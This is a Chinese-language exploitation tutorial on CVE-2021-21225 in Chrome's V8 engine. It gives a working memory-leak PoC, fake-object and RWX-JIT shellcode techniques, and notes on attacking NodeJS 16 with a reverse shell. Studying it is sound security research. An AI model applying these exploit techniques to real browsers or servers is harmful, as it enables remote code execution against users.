作者:Hcamael@知道創宇404實驗室
時間:2022年03月16日
相關閱讀:
從 0 開始學 V8 漏洞利用之環境搭建(一)
從 0 開始學 V8 漏洞利用之 V8 通用利用鏈(二)
從 0 開始學 V8 漏洞利用之 starctf 2019 OOB(三)
從 0 開始學 V8 漏洞利用之 CVE-2020-6507(四)
從0開始學 V8 漏洞利用之 CVE-2021-30632(五)
從 0 開始學 V8 漏洞利用之 CVE-2021-38001(六)
從 0 開始學 V8 漏洞利用之 CVE-2021-30517(七)
從 0 開始學 V8 漏洞利用之 CVE-2021-21220(八)
第七個研究的是CVE-2021-21225,其chrome的bug編號為:1195977
受影響的Chrome最高版本為:90.0.4430.72
受影響的V8最高版本為:9.0.257.17
在chrome的bugs中也有該漏洞的exp和poc。
搭建環境
一鍵編譯相關環境:
$ ./build.sh 9.0.257.17
漏洞分析
本次分析的漏洞,和之前研究過的有很大的不同,PoC如下:
class Leaky extends Float64Array {}
let u32 = new Leaky (1000);
u32.__defineSetter__('length', function() {});
class MyArray extends Array {
static get [Symbol.species]() {
return function() { return u32; }
};
}
var w = new MyArray(300);
w.fill(1.1);
delete w[1];
Array.prototype[1] = {
valueOf: function() {
w.length = 1;
gc();
delete Array.prototype[1];
return 1.1;
}
};
var c = Array.prototype.concat.call(w);
for (var i = 0; i < 32; i++) {
print(c[i]);
}
其中gc函數需要運行d8的時候加上--expose-gc參數,才能調用。
該PoC的效果很明顯,是內存泄漏,在變量w后再定義其他變量,比如var c = [1.1,2.2],那么可以把變量c的信息給泄漏出來。
發現該漏洞的研究人員也寫了相關的paper:
- https://tiszka.com/blog/CVE_2021_21225.html?utm_source=bengtan.com/interesting-things/018
- https://tiszka.com/blog/CVE_2021_21225_exploit.html
漏洞出現在concat函數上,而且也不是新類型的漏洞,concat函數之前的漏洞編號為:CVE-2016-1646和CVE-2017-5030,詳細的可以去看上面的第一篇文章。
這里就說說我編寫exp的過程,現有的exp已經可以泄漏變量信息了,但是還不夠,要想rce,還得需要能控制變量的map,上面PoC的效果只是把變量w當成長度為1000的數組,然后賦值給變量c,在正常的程序中,變量w的長度已經被我們改成1了,所以根本沒法修改后續值,只有concat函數認為變量w的長度為1000。而修改變量c的值,也根本影響不到其他變量,因為變量c本身就是長度為1000的合法變量。
在上面的第二篇文章中,提供了這么一種方案:
- 在上述的PoC中,數組w的所有元素都被1.1填充了,所以w的map為
PACKED_DOUBLE_ELEMENTS類型。 - 如果我們把變量w的map改為
HOLEY_ELEMENTS類型,那么concat函數在操作的時候,會把w的元素都當成Object處理。 - 這樣,我們在變量w后面再定義一個變量:
padding_obj = new Uint32Array(10);,該變量填充進我們可控的內存地址,這樣就可以構建一個fake_obj。 - 有了fake_obj以后,就能任意讀寫了,就可以按照套路來寫exp了。
但是直接這么寫,可能會遇到一些問題,程序會crash,因為在漏洞觸發后,會把后續的變量都當成對象,如果遇到一個不合法的對象,就報錯了。
在上面第二篇paper中,提供了一種方法,在觸發漏洞的函數中,修改了Object的原型鏈:
Object.prototype.valueOf = function() {
corrupted_array = this;
delete Object.prototype.valueOf; // clean up this valueOf
throw 'bailout';
}
成功觸發了以后,獲取到我們構造的fake_obj,然后拋出異常,然后再捕獲到該異常,這樣程序就不會崩潰了。
垃圾回收
上面poc中的gc函數需要加上--expose-gc參數,那么沒有這個參數的環境下要怎么辦呢?上面第二篇文章中給出了一個方案:
function gc() {
new ArrayBuffer(0x7fe00000);
}
另一種得到RWX內存的方案
在之前的文章中,我們都是采用WASM的方式獲取一個RWX內存區域,但是在上面的第二篇文章中,給了另一種方案。
如果heap->write_protect_code_memory為0,那么JIT優化的代碼會生成RWX內存區域來存放。
示例如下:
function jit(a) {
return a[0];
}
write64(write_protect_code_memory_, 0);
for (var i = 0; i < 200000; i++) {
jit([0]);
}
shellcode = [xxxx]
copy_shellcode_rwx(shellcode, jit_turbo_code_addr)
jit([0])
其中write_protect_code_memory_地址一般在堆的開頭,可以通過gdb來搜索該地址。
jit_turbo_code_addr地址的偏移也可以通過gdb調試來獲取。
NodeJS的利用
經過研究,該漏洞能影響到NodeJS 16.0.0。
來編寫NodeJS的exp的過程中需要注意幾點:
- nodejs沒開啟地址壓縮。
- 使用%DebugPrint或者%System會影響內存布局,影響利用。
- 最后利用的shellcode,會發現沒有輸出,這是因為執行shellcode的文件描述符不對,這個時候可以修改shellcode為reverse shell或者bind shell。
參考
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1858/
暫無評論